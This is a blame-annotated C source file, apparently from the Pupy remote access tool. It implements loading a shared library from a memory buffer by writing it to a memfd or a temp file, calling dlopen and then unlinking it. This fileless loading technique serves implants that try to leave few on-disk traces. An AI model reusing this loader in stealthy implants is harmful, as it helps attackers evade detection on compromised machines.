2017-03-06 05:43:24 +00:00
|
|
|
#define _GNU_SOURCE
|
2016-08-22 22:53:26 +00:00
|
|
|
#include <sys/types.h>
|
|
|
|
#include <sys/stat.h>
|
2016-08-23 16:48:10 +00:00
|
|
|
#include <limits.h>
|
2016-08-22 22:53:26 +00:00
|
|
|
#include <fcntl.h>
|
|
|
|
#include <stdlib.h>
|
|
|
|
#include <alloca.h>
|
|
|
|
#include <string.h>
|
|
|
|
#include <dlfcn.h>
|
|
|
|
#include <stdio.h>
|
2016-08-26 09:35:36 +00:00
|
|
|
#include <unistd.h>
|
|
|
|
#include <sys/mman.h>
|
2017-03-06 05:43:24 +00:00
|
|
|
#include <link.h>
|
|
|
|
#include <dlfcn.h>
|
2016-08-22 22:53:26 +00:00
|
|
|
|
|
|
|
#include "list.h"
|
|
|
|
#include "tmplibrary.h"
|
|
|
|
#include "debug.h"
|
|
|
|
|
2017-03-02 08:02:18 +00:00
|
|
|
#include "memfd.h"
|
|
|
|
|
2016-08-24 06:49:14 +00:00
|
|
|
#include "decompress.h"
|
|
|
|
|
2016-08-22 22:53:26 +00:00
|
|
|
/*
|
|
|
|
|
|
|
|
So.. We don't want to bother with reflective bla-bla-bla. Just
|
|
|
|
upload buffer to temporary file, load it as a library using standard
|
|
|
|
glibc calls, then delete
|
|
|
|
|
|
|
|
*/
|
|
|
|
|
|
|
|
static inline
|
|
|
|
const char *gettemptpl() {
|
|
|
|
static const char *templates[] = {
|
2016-08-23 16:48:10 +00:00
|
|
|
"/dev/shm/XXXXXX",
|
|
|
|
"/tmp/XXXXXX",
|
|
|
|
"/var/tmp/XXXXXX",
|
2016-08-22 22:53:26 +00:00
|
|
|
NULL
|
|
|
|
};
|
|
|
|
|
|
|
|
static const char *tmpdir = NULL;
|
|
|
|
if (! tmpdir) {
|
|
|
|
int i;
|
|
|
|
for (i=0; templates[i]; i++) {
|
|
|
|
char *buf = alloca(strlen(templates[i]+1));
|
|
|
|
strcpy(buf, templates[i]);
|
|
|
|
int fd = mkstemp(buf);
|
2016-08-26 09:35:36 +00:00
|
|
|
int found = 0;
|
2016-08-22 22:53:26 +00:00
|
|
|
if (fd != -1) {
|
2016-08-26 09:35:36 +00:00
|
|
|
int page_size = sysconf(_SC_PAGESIZE);
|
|
|
|
if (ftruncate(fd, page_size) != -1) {
|
|
|
|
void *map = mmap(
|
|
|
|
NULL,
|
|
|
|
page_size,
|
|
|
|
PROT_READ|PROT_EXEC,
|
|
|
|
MAP_PRIVATE|MAP_DENYWRITE,
|
|
|
|
fd,
|
|
|
|
0
|
|
|
|
);
|
|
|
|
if (map != MAP_FAILED) {
|
|
|
|
munmap(map, page_size);
|
|
|
|
found = 1;
|
|
|
|
} else {
|
|
|
|
dprint("Couldn't use %s -> %m\n", buf);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2016-08-22 22:53:26 +00:00
|
|
|
unlink(buf);
|
|
|
|
close(fd);
|
2016-08-26 09:35:36 +00:00
|
|
|
|
|
|
|
if (found) {
|
|
|
|
tmpdir = templates[i];
|
|
|
|
break;
|
|
|
|
}
|
2016-08-22 22:53:26 +00:00
|
|
|
}
|
|
|
|
dprint("TRY: %s -> %d (%m)\n", buf, fd);
|
|
|
|
|
|
|
|
}
|
|
|
|
if (!tmpdir) {
|
|
|
|
abort();
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
return tmpdir;
|
|
|
|
}
|
|
|
|
|
|
|
|
typedef struct library {
|
|
|
|
const char *name;
|
|
|
|
void *base;
|
|
|
|
} library_t;
|
|
|
|
|
|
|
|
bool search_library(void *pState, void *pData) {
|
|
|
|
library_t *search = (library_t *) pState;
|
|
|
|
library_t *current = (library_t *) pData;
|
|
|
|
|
|
|
|
if (!strcmp(search->name, current->name)) {
|
|
|
|
search->base = current->base;
|
|
|
|
dprint("FOUND! %s = %p\n", search->name, search->base);
|
|
|
|
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
2017-03-06 05:43:24 +00:00
|
|
|
int drop_library(char *path, size_t path_size, const char *buffer, size_t size) {
|
2017-03-02 08:02:18 +00:00
|
|
|
int fd = pupy_memfd_create(path, path_size);
|
2017-03-06 05:43:24 +00:00
|
|
|
bool memfd = true;
|
2017-03-02 08:02:18 +00:00
|
|
|
|
2017-03-06 05:43:24 +00:00
|
|
|
if (fd < 0) {
|
2017-03-02 08:02:18 +00:00
|
|
|
dprint("pupy_memfd_create() failed: %m\n");
|
2017-03-06 05:43:24 +00:00
|
|
|
memfd = false;
|
2016-08-23 16:48:10 +00:00
|
|
|
|
2017-03-02 08:02:18 +00:00
|
|
|
const char *template = gettemptpl();
|
2016-08-23 16:48:10 +00:00
|
|
|
|
2017-03-02 08:02:18 +00:00
|
|
|
if (path_size < strlen(template))
|
2017-03-06 05:43:24 +00:00
|
|
|
return -1;
|
2016-08-23 16:48:10 +00:00
|
|
|
|
2017-03-02 08:02:18 +00:00
|
|
|
strcpy(path, template);
|
|
|
|
|
|
|
|
fd = mkstemp(path);
|
2017-03-06 05:43:24 +00:00
|
|
|
if (fd < 0) {
|
|
|
|
return fd;
|
2017-03-02 08:02:18 +00:00
|
|
|
}
|
2016-08-23 16:48:10 +00:00
|
|
|
}
|
|
|
|
|
2016-08-24 17:18:48 +00:00
|
|
|
if (size > 2 && buffer[0] == '\x1f' && buffer[1] == '\x8b') {
|
2016-08-24 06:49:14 +00:00
|
|
|
dprint("Decompressing library %s\n", path);
|
|
|
|
int r = decompress(fd, buffer, size);
|
2017-03-06 05:43:24 +00:00
|
|
|
if (!r == 0) {
|
2016-08-24 06:49:14 +00:00
|
|
|
dprint("Decompress error: %d\n", r);
|
2017-03-06 05:43:24 +00:00
|
|
|
close(fd);
|
|
|
|
return -1;
|
2016-08-24 06:49:14 +00:00
|
|
|
}
|
|
|
|
} else {
|
|
|
|
while (size > 0) {
|
|
|
|
size_t n = write(fd, buffer, size);
|
|
|
|
if (n == -1) {
|
|
|
|
dprint("Write failed: %d left, error = %m, buffer = %p, tmpfile = %s\n", size, buffer, path);
|
2017-03-06 05:43:24 +00:00
|
|
|
close(fd);
|
|
|
|
unlink(path);
|
|
|
|
fd = -1;
|
2016-08-24 06:49:14 +00:00
|
|
|
break;
|
|
|
|
}
|
|
|
|
buffer += n;
|
|
|
|
size -= n;
|
2016-08-23 16:48:10 +00:00
|
|
|
}
|
|
|
|
}
|
2016-08-24 06:49:14 +00:00
|
|
|
|
2017-03-06 05:43:24 +00:00
|
|
|
if (memfd) {
|
|
|
|
fcntl(fd, F_ADD_SEALS, F_SEAL_SEAL | F_SEAL_SHRINK | F_SEAL_GROW | F_SEAL_WRITE);
|
2017-03-02 08:02:18 +00:00
|
|
|
}
|
2016-08-23 16:48:10 +00:00
|
|
|
|
2017-03-06 05:43:24 +00:00
|
|
|
return fd;
|
2016-08-23 16:48:10 +00:00
|
|
|
}
|
|
|
|
|
2016-08-24 17:18:48 +00:00
|
|
|
void *memdlopen(const char *soname, const char *buffer, size_t size) {
|
2016-08-22 22:53:26 +00:00
|
|
|
dprint("memdlopen(\"%s\", %p, %ull)\n", soname, buffer, size);
|
|
|
|
|
|
|
|
static PLIST libraries = NULL;
|
|
|
|
if (!libraries) {
|
|
|
|
libraries = list_create();
|
|
|
|
}
|
|
|
|
|
|
|
|
library_t search = {
|
|
|
|
.name = soname,
|
|
|
|
.base = NULL,
|
|
|
|
};
|
|
|
|
|
|
|
|
if (list_enumerate(libraries, search_library, &search)) {
|
|
|
|
dprint("SO %s FOUND: %p\n", search.name, search.base);
|
|
|
|
return search.base;
|
|
|
|
}
|
|
|
|
|
2016-08-23 16:48:10 +00:00
|
|
|
void *base = dlopen(soname, RTLD_NOLOAD);
|
2016-08-22 22:53:26 +00:00
|
|
|
if (base) {
|
2016-08-23 16:48:10 +00:00
|
|
|
dprint("Library \"%s\" loaded from OS\n", soname);
|
2016-08-22 22:53:26 +00:00
|
|
|
return base;
|
|
|
|
}
|
|
|
|
|
2016-08-23 16:48:10 +00:00
|
|
|
char buf[PATH_MAX]={};
|
2017-03-06 05:43:24 +00:00
|
|
|
int fd = drop_library(buf, PATH_MAX, buffer, size);
|
|
|
|
if (fd < 0) {
|
2016-08-23 16:48:10 +00:00
|
|
|
dprint("Couldn't drop library %s: %m\n", soname);
|
|
|
|
return NULL;
|
2016-08-22 22:53:26 +00:00
|
|
|
}
|
|
|
|
|
2017-03-06 05:43:24 +00:00
|
|
|
bool is_memfd = is_memfd_path(buf);
|
|
|
|
|
|
|
|
dprint("Library \"%s\" dropped to \"%s\" (memfd=%d) \n", soname, buf, is_memfd);
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2017-03-06 05:58:06 +00:00
|
|
|
#ifndef NO_MEMFD_DLOPEN_WORKAROUND
|
|
|
|
if (is_memfd) {
|
|
|
|
char *fake_path = tempnam("/dev/shm", NULL);
|
|
|
|
if (!fake_path) {
|
|
|
|
fake_path = tempnam("/tmp", NULL);
|
|
|
|
}
|
|
|
|
if (fake_path) {
|
|
|
|
if (!symlink(buf, fake_path)) {
|
|
|
|
strncpy(buf, fake_path, sizeof(buf)-1);
|
|
|
|
is_memfd = false;
|
|
|
|
|
|
|
|
}
|
|
|
|
free(fake_path);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
#endif
|
2017-03-06 05:43:24 +00:00
|
|
|
|
2017-03-06 05:58:06 +00:00
|
|
|
base = dlopen(buf, RTLD_NOW | RTLD_GLOBAL);
|
2017-03-06 05:43:24 +00:00
|
|
|
if (!is_memfd) {
|
|
|
|
close(fd);
|
|
|
|
}
|
|
|
|
|
2016-08-22 22:53:26 +00:00
|
|
|
if (!base) {
|
2016-08-23 16:48:10 +00:00
|
|
|
dprint("Couldn't load library %s (%s): %s\n", soname, buf, dlerror());
|
|
|
|
unlink(buf);
|
2016-08-22 22:53:26 +00:00
|
|
|
return NULL;
|
|
|
|
}
|
|
|
|
|
2016-08-23 16:48:10 +00:00
|
|
|
dprint("Library %s loaded to %p\n", soname, base);
|
|
|
|
|
2016-08-22 22:53:26 +00:00
|
|
|
library_t *record = (library_t *) malloc(sizeof(library_t));
|
|
|
|
record->name = strdup(soname);
|
|
|
|
record->base = base;
|
|
|
|
list_add(libraries, record);
|
|
|
|
|
|
|
|
unlink(buf);
|
|
|
|
return base;
|
|
|
|
}
|